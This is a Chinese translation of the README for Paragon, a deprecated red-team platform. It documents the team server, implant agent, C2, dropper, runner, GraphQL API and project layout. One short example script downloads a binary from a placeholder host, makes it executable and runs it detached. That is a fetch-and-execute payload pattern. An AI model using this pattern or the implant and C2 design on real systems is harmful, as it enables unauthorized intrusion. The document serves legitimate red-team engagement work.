本项目已弃用,请参考我们的新项目 Realm 项目,它建立在我们在构建此仓库时提出的许多想法之上。

Paragon 是一个红队交战平台。它旨在将攻击性工具统一到一个简单的用户界面后面,抽象出大部分后端工作,使操作人员能够专注于编写植入物,减少对数据库和 CSS 的操心。该仓库还提供了一些已经与 Paragon 集成的攻击性工具,可在交战期间使用。
此仓库仍处于重度开发阶段,尚未准备好用于生产环境。当它被认为是稳定版本时,将发布 V1.0.0 标签。在此之前,API 可能会遇到破坏性变更,因为我们不断简化设计。如果您想帮助我们更快地达到这个里程碑,请阅读下面的开发文档。
可以通过克隆仓库并运行 docker-compose up 来设置一个快速演示实例。在浏览器中打开 127.0.0.1:80 即可开始使用!
所使用的 Docker 镜像在 Docker Hub 上可用,并且可以通过 docker-compose 文件进行配置,用于生产部署。
此仓库中的大多数组件都依赖于一种 Python 类脚本语言,该语言能够对其行为进行强大的控制和自定义。该语言是 Google 的 starlark 的修改版本,为操作人员扩展了跨平台功能。这也使得诸如 agent 和 dropper(下文讨论)之类的工具能够在不依赖系统二进制文件(curl、bash 等)的情况下执行任务。所有操作都作为 Go 代码执行,因此向脚本环境添加额外功能非常直观。以下是一个示例脚本:
# 通过 https 下载文件,执行它,并且不作为子进程保留。
load("sys", "request")
new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)
# 将 new_bin 权限设置为 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
提供一个简单的 Web 应用程序和 GraphQL API 来与红队知识图谱交互,将工具统一到中央真相来源背后,并为操作人员抽象出许多繁琐的后端问题。使用 GraphQL API 或事件订阅将您的自定义工具与团队服务器集成,以节省后端工作的时间。团队服务器记录所有活动,因此当所有工具都统一在一个地方时,编写交战后的报告将变得非常容易。
以下工具也包含在仓库中。它们可以很容易地扩展以适应多种跨平台用例。
Paragon 提供了一种工具,用于将资源(二进制文件、脚本等)打包到单个二进制文件中,当执行该二进制文件时,将执行您的自定义部署脚本,该脚本可以将资源写入文件系统、启动进程、下载文件、处理错误等。它完全跨平台且静态编译,提供可靠的部署。如果您想扩展其功能,只需在编译前扩展生成的 Go 文件即可。
一个执行任务并报告执行结果的植入物。默认配置下,它使用 Paragon 的 Python 类脚本语言执行任务,并通过 HTTP(S) 与 C2 通信。它用 Go 编写,可以快速修改以添加新的传输方法(如 DNS)、执行选项、故障转移逻辑等。
充当 Agent 和团队服务器之间的中间人。它处理多种通信机制的 agent 回调,并从团队服务器队列中为 agent 提供新任务。
在某些情况下,可能不需要等待回调,而是需要一个主动连接来快速执行任务并查看其输出。Runner 通过订阅任务队列并建立到目标机器的连接(例如使用 SSH)来实现这一点。这使得类似 shell 的集成能够使用与植入物和 C2 相同的接口。它还允许通过此接口进行初始植入物部署。
监视目标网络活动和可见的服务。绘制交战网络图,并在状态变化(例如 SSH 变得可用)时触发自动化。
为团队服务器设置 PG_KS_MachineUUID killswitch 环境变量将禁用利用机器 UUID 的查找。
为确保对这些复杂系统的清晰沟通,我们在下面列出了几个项目特定的术语,这些术语将在项目文档中贯穿使用。
在交战期间将在受感染系统上运行的任何恶意软件。
要在特定受感染系统上执行的所需操作。任务向植入物提供执行指令,但其语法/结构可以完全特定于某个工具。
一种从团队服务器接收任务、执行任务并报告结果的植入物。此仓库包含一个可扩展的默认实现,要求任务以项目的 Python 类 DSL 编写。
请求团队服务器执行一组给定操作。创建作业后,指令将被保存但不会执行。用户可以通过将作业加入队列并提供所需参数,请求团队服务器执行作业零次或多次。作业永远不能更新,但可以创建新版本的作业以避免过多的复制粘贴。
作业的常见用例是用户希望在几个目标上执行一个脚本。用户创建一个作业,指示团队服务器使用提供的内容创建任务,但将目标机器留作参数。当作业被加入队列时,用户提供目标机器列表作为参数,团队服务器将为每台机器创建一个任务。
以下作为 Paragon 开发的初步简要参考。更多文档可以在包 godoc 中找到,或者通过阅读一些代码来了解 :) 在我们最终确定一些设计决策后(在达到 v1 之前很久),将实施代码冻结,直到所有文档更新并适当组织完毕。
Remote - Containers 扩展才能开始。安装上述先决条件后,您将能够很快开始。只需克隆仓库并在 VSCode 中打开即可。系统将提示您在开发容器中打开代码库,该容器已配置了所有项目依赖项和您需要的开发工具。如果此选项未出现,请打开命令面板并运行 > Remote-Containers: Open Folder In Container,这将为您启动容器。如果这是您第一次启动容器,下载可能需要一些时间……所以给自己倒杯咖啡 ^_^
以下是项目结构的概览以及每个组件的位置。如果这部分过时了,请随时提交问题报告,或者最好提交 PR 来修复。代码库设置为单仓(monorepository),这使我们能够利用共享的开发工具、标准化等,同时避免复杂的版本冲突。
| 文件夹 | 用途 |
|---|---|
| .devcontainer | VSCode 容器开发环境的配置。 |
| .github | Github 配置。 |
| .stats | 一个 git 忽略的目录(您可能有也可能没有),用于存储性能分析输出。 |
| ent | 团队服务器使用的图相关 API 定义。 |
| graphql | 从 ent 生成的 GraphQL 模式及相关代码。 |
| cmd | 命令行可执行工具和服务。 |
| dist | 一个 git 忽略的目录,用于存储构建产物。 |
| docker | 用于示例部署的 Dockerfile。 |
| ent | 团队服务器使用的图模型和模式(请参阅 Facebook 的 entgo 工具了解更多信息)。 |
| pkg | 仓库工具使用但也对外暴露的公共库。 |
| pkg/agent | 轻松创建植入物或通信传输的抽象。 |
| pkg/c2 | C2 服务相关的辅助工具和标准化消息定义。 |
| pkg/c2/proto | Protobuf 规范,用于定义 Agent 与 C2 通信的标准化序列化格式。 |
| pkg/drop | 编译后的 dropper 载荷使用的一种简单方法。 |
| pkg/middleware | HTTP 服务的通用中间件。 |
| pkg/script | Python 类脚本语言,用于动态配置、自动化和跨平台利用。 |
| pkg/script/stdlib | 公开脚本执行环境功能的标准库。 |
| pkg/teamserver | 团队服务器服务相关的辅助工具。 |
| www | 包含由团队服务器托管的主要 Web 应用程序。由 Facebook 的 create-react-app 应用程序创建。 |
| www/src/components | 可重用的 React 组件。 |
| www/src/config | Web 应用程序配置和路由。 |
| www/src/views | 从团队服务器查询数据并组合组件进行渲染的容器。 |
以下是团队服务器管理的红队知识图谱中节点之间关系的概述。

要使用您自己的传输,只需实现 agent.Sender 接口并在初始化期间注册您的传输。现有传输的示例可以在 agent 包的子目录中找到。
默认情况下,agent 期望任务遵循 starlark 语法,并为脚本提供标准库。要更改任务执行的行为(例如仅使用 bash 命令),您可以实现 agent.Receiver 接口来按您想要的方式执行任务。
脚本环境可以为您的 agent 进行自定义,使您能够轻松地为脚本打包新功能。请参阅 脚本选项 了解如何扩展 agent 的脚本引擎。
以下是 agent 植入物的一般执行流程图。
agent 被设计为易于使用新的传输机制进行自定义,基于传输优先级进行多路复用通信。
